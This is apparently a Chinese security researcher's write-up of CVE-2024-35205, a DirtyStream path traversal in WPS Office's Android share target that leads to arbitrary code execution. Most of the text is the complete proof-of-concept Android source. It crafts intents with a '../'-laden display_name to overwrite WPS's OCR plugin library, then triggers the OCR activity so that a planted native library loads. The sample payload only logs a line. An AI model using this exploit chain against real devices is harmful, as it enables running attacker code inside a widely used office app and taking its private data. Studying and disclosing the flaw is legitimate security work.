CVE-2024-35205 WPS Office 海外版任意代码执行漏洞

WPS Office 国际版存在 DirtyStream 漏洞,如下图所示,可以将错误的文件内容或者文件参数传递给Share Target App,以使得Share Target App错误的处理接收到的信息,实现一系列攻击。

image.png

首先分析 WPS Office 国际版 AndroidManifest.xml 文件,cn.wps.upload_activity 作为一个ShareTarget 用于处理分享者提供的内容。

image.png

在处理 content 类型的文件时,通过 query 查询获取 display_name,未对 displayName 进行过滤,存在目录穿越漏洞,可以向 WPS 私有目录中写入文件

image.png

至此实现了对 WPS 私有目录的写入,但是这是一个任意代码执行漏洞,这个考虑存在热更新或者插件化功能,通过写入恶意插件文件实现任意任意代码执行,搜索 System.load 函数的使用,发现此处可以利用,这是一处 OCR功能,可以通过启动 MultipleImageToTextActivity 这个类,传入任意图片触发加载。

image.png

因此,利用过程如下:

  1. 启动 MultipleImageToTextActivity 创建插件目录
  2. 目录穿越写入恶意插件文件
  3. 再次启动 MultipleImageToTextActivity 触发恶意插件文件加载

效果如下:

image.png

附上完整代码:

// MainActivity

package com.s1nk.myapplication;

import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.widget.Button;

import androidx.activity.EdgeToEdge;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;

public class MainActivity extends AppCompatActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
ViewCompat.setOnApplyWindowInsetsListener(findViewById(R.id.main), (v, insets) -> {
Insets systemBars = insets.getInsets(WindowInsetsCompat.Type.systemBars());
v.setPadding(systemBars.left, systemBars.top, systemBars.right, systemBars.bottom);
return insets;
});
// 释放文件
extractEvilFile();

Button btnCreateOCRPluginDir = findViewById(R.id.btn_create_ocr_plugin_dir);
btnCreateOCRPluginDir.setOnClickListener(v -> {
createOcrPluginDir();
});

Button btnWriteEvilFile = findViewById(R.id.btn_write_evil_file);
btnWriteEvilFile.setOnClickListener(v -> {
// /data/user/0/cn.wps.moffice_eng/
writeEvilFile("/data/user/0/com.s1nk.myapplication/files/mp50.db", "/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/db/mp50.db");
writeEvilFile("/data/user/0/com.s1nk.myapplication/files/hw_eng20.db", "/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/db/hw_eng20.db");
writeEvilFile("/data/user/0/com.s1nk.myapplication/files/libhw_instanttrans.so", "/data/user/0/cn.wps.moffice_eng/files/ocr_plugin/armeabi/libhw_instanttrans.so");
});

}

private void extractEvilFile() {
moveAssetToDir(this, "mp50.db");
moveAssetToDir(this, "hw_eng20.db");
moveAssetToDir(this, "libhw_instanttrans.so");

}

private void copyFile(InputStream in, OutputStream out) throws IOException {
byte[] buffer = new byte[1024];
int read;
while ((read = in.read(buffer)) != -1) {
out.write(buffer, 0, read);
}
}

public void moveAssetToDir(Context context, String filename) {
OutputStream out = null;
try (InputStream in = context.getAssets().open(filename)) {
File outFile = new File(context.getFilesDir(), filename);
out = new FileOutputStream(outFile);
copyFile(in, out);
} catch (IOException ignored) {

} finally {
if (out != null) {
try {
out.close();
} catch (IOException ignored) {}
}
}
}

private void writeEvilFile(String srcPath, String destPath) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setComponent(new ComponentName("cn.wps.moffice_eng", "cn.wps.upload_activity"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
Uri uri = Uri.parse("content://com.s1nk.myapplication.provider/" + srcPath + "?display_name=../../../../../../../../../.." + destPath);
intent.setDataAndType(uri, "application/pdf");
startActivity(intent);
}

private void createOcrPluginDir() {
ArrayList<String> imagePathArr = new ArrayList<>();
imagePathArr.add("/storage/emulated/0/DCIM/Camera/PXL_20240903_033847893.jpg");
Intent intent = new Intent();
intent.setComponent(new ComponentName("cn.wps.moffice_eng", "cn.wps.moffice.main.scan.ui.MultipleImageToTextActivity"));
intent.putExtra("cn.wps.moffice_extra_image_paths", imagePathArr);
startActivity(intent);
}

}

// S1nkContentProvider
package com.s1nk.myapplication;

import android.content.ContentProvider;
import android.content.ContentValues;
import android.database.Cursor;
import android.database.MatrixCursor;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;

import java.io.File;
import java.io.FileNotFoundException;

public class S1nkContentProvider extends ContentProvider {
@Override
public boolean onCreate() {
return false;
}

@Nullable
@Override
public ParcelFileDescriptor openFile(@NonNull Uri uri, @NonNull String mode) throws FileNotFoundException {
String path = uri.getPath();
Log.e("s1nk", "openFile: " + path);
if (path != null) {
File file = new File(path);
if (file.exists()) {
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
}
return super.openFile(uri, mode);
}

@Nullable
@Override
public Cursor query(@NonNull Uri uri, @Nullable String[] projection, @Nullable String selection, @Nullable String[] selectionArgs, @Nullable String sortOrder) {
MatrixCursor cursor = new MatrixCursor(new String[]{"_display_name"});
Log.e("s1nk", "query: " + uri.toString());
String displayName = uri.getQueryParameter("display_name");
cursor.addRow(new Object[]{displayName});
return cursor;
}

@Nullable
@Override
public String getType(@NonNull Uri uri) {
throw new UnsupportedOperationException("Not implemented");
}

@Nullable
@Override
public Uri insert(@NonNull Uri uri, @Nullable ContentValues values) {
throw new UnsupportedOperationException("Not implemented");
}

@Override
public int delete(@NonNull Uri uri, @Nullable String selection, @Nullable String[] selectionArgs) {
throw new UnsupportedOperationException("Not implemented");
}

@Override
public int update(@NonNull Uri uri, @Nullable ContentValues values, @Nullable String selection, @Nullable String[] selectionArgs) {
throw new UnsupportedOperationException("Not implemented");
}
}

恶意 SO 文件,这里就简单的打印了一行日志:

#include <android/log.h>
#include <jni.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
JNIEnv *env;
if (vm->GetEnv(reinterpret_cast<void **>(&env), JNI_VERSION_1_6) != JNI_OK) {
return -1;
}
__android_log_print(ANDROID_LOG_ERROR, "s1nk", "injected by s1nk");

return JNI_VERSION_1_6;
}